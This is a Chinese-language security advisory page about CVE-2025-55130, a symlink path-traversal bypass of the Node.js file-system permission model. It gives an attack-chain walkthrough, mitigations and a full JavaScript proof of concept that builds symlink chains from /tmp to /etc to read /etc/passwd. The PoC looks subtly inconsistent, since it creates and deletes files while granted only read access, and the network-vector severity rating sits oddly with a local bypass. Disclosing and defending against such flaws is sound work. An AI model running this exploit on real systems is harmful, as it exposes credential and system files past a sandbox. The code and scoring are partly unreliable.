IPBUF安全漏洞报告
English
CVE-2025-55130 CVSS 9.1 严重

CVE-2025-55130 Node.js权限模型符号链接路径遍历漏洞

披露日期: 2026-01-20

漏洞信息

漏洞编号
CVE-2025-55130
漏洞类型
权限绕过/路径遍历
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Node.js

相关标签

权限绕过路径遍历符号链接Node.jsCVE-2025-55130安全漏洞文件系统沙箱逃逸

漏洞概述

CVE-2025-55130是Node.js权限模型中的一个高危安全漏洞,CVSS评分达到9.1分(严重级别)。该漏洞存在于Node.js的权限控制系统,当使用--allow-fs-read和--allow-fs-write标志限制文件系统访问时,攻击者可以通过精心构造的相对符号链接路径绕过这些安全限制。漏洞的核心问题在于权限检查机制未能正确解析和验证符号链接所指向的真实路径,允许攻击者通过链接链和目录遍历的方式逃脱允许访问范围的约束。对于仅被授予当前目录访问权限的脚本,攻击者可以利用此漏洞读取系统中的敏感文件,如/etc/passwd、SSH密钥、配置文件等,从而可能导致完整的系统 compromise。该漏洞影响Node.js v20、v22、v24和v25版本,破坏了权限模型提供的预期隔离保证,使得本应受限制的文件操作变得毫无约束。

技术细节

Node.js权限模型旨在通过--allow-fs-read和--allow-fs-write标志限制脚本的文件系统访问能力,防止恶意代码读取敏感文件或写入关键系统资源。然而,该模型在处理符号链接时存在缺陷:权限检查逻辑仅验证路径的表面形式,而未递归解析符号链接指向的真实绝对路径。攻击者可以创建一系列目录和符号链接的链式结构,利用相对路径(如../../)和符号链接的组合,构造出指向受限区域的路径。当脚本使用fs.readFile()等API访问这些精心构造的路径时,权限检查会错误地认为该路径在允许范围内,从而放行操作。例如,一个被限制在/tmp目录的脚本,可以通过创建指向/etc的符号链接,成功读取/etc/passwd等敏感文件。这种攻击方式完全绕过了权限模型的安全边界,使得攻击者能够访问任何文件,包括系统配置文件、密钥文件、用户数据等高价值目标。

攻击链分析

STEP 1
步骤1
攻击者在受限制的目录内创建符号链接,指向系统敏感目录(如/etc或/root)
STEP 2
步骤2
利用Node.js权限检查的缺陷,通过相对路径和符号链接组合构造绕过路径
STEP 3
步骤3
使用fs.readFile()或fs.writeFile()等API访问精心构造的路径
STEP 4
步骤4
权限检查仅验证表面路径,错误地认为路径在允许范围内
STEP 5
步骤5
成功读取敏感文件(如/etc/passwd、SSH密钥)或写入任意文件
STEP 6
步骤6
利用获取的敏感信息进行进一步攻击,如权限提升或横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-55130 PoC - Node.js Permissions Bypass via Symlink // Run with: node --allow-fs-read=./test poc.js const fs = require('fs'); const path = require('path'); // Create directory structure for exploitation const testDir = '/tmp/cve-2025-55130-test'; const targetFile = '/etc/passwd'; try { // Clean up any existing test directory fs.rmSync(testDir, { recursive: true, force: true }); } catch (e) {} // Create test directory structure fs.mkdirSync(testDir, { recursive: true }); fs.mkdirSync(path.join(testDir, 'subdir'), { recursive: true }); // Create symlink chain to escape allowed directory // Link: testDir/link -> /etc fs.symlinkSync('/etc', path.join(testDir, 'link')); // Create nested symlink for deeper traversal // Link: testDir/subdir/escape -> ../../ fs.symlinkSync('../../', path.join(testDir, 'subdir', 'escape')); console.log('[+] Test environment created'); console.log('[+] Symlink chain: testDir/link -> /etc'); console.log('[+] Attempting to read sensitive file through symlink bypass...'); // Attempt to read /etc/passwd through the symlink // With --allow-fs-read=./test, this should be blocked // But due to CVE-2025-55130, the path traversal via symlink bypasses check try { const bypassPath = path.join(testDir, 'link', 'passwd'); console.log(`[+] Accessing path: ${bypassPath}`); const content = fs.readFileSync(bypassPath, 'utf8'); console.log('[!] VULNERABLE: Successfully read restricted file!'); console.log('[+] File content preview:'); console.log(content.split('\n').slice(0, 5).join('\n')); } catch (err) { console.log('[+] Blocked (patched version or different configuration)'); console.log(`[-] Error: ${err.message}`); } // Alternative attack: using nested symlink traversal try { const nestedPath = path.join(testDir, 'subdir', 'escape', 'etc', 'passwd'); console.log(`\n[+] Alternative bypass path: ${nestedPath}`); const content2 = fs.readFileSync(nestedPath, 'utf8'); console.log('[!] VULNERABLE: Nested symlink bypass successful!'); } catch (err) { console.log('[-] Nested bypass blocked'); } console.log('\n[!] This PoC demonstrates the symlink path traversal in Node.js permissions model'); console.log('[!] Attack chain: allowed_dir -> symlink -> arbitrary_file');

影响范围

Node.js v20 < 修复版本
Node.js v22 < 修复版本
Node.js v24 < 修复版本
Node.js v25 < 修复版本

防御指南

临时缓解措施
临时缓解措施:1) 评估是否必须使用Node.js权限模型,如非必需可考虑禁用;2) 确保运行Node.js的进程具有最小必要权限;3) 使用操作系统级访问控制(如SELinux、AppArmor)限制文件访问;4) 监控和审计文件访问日志,及时发现异常行为;5) 考虑使用更严格的沙箱解决方案如jailkit或容器隔离。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表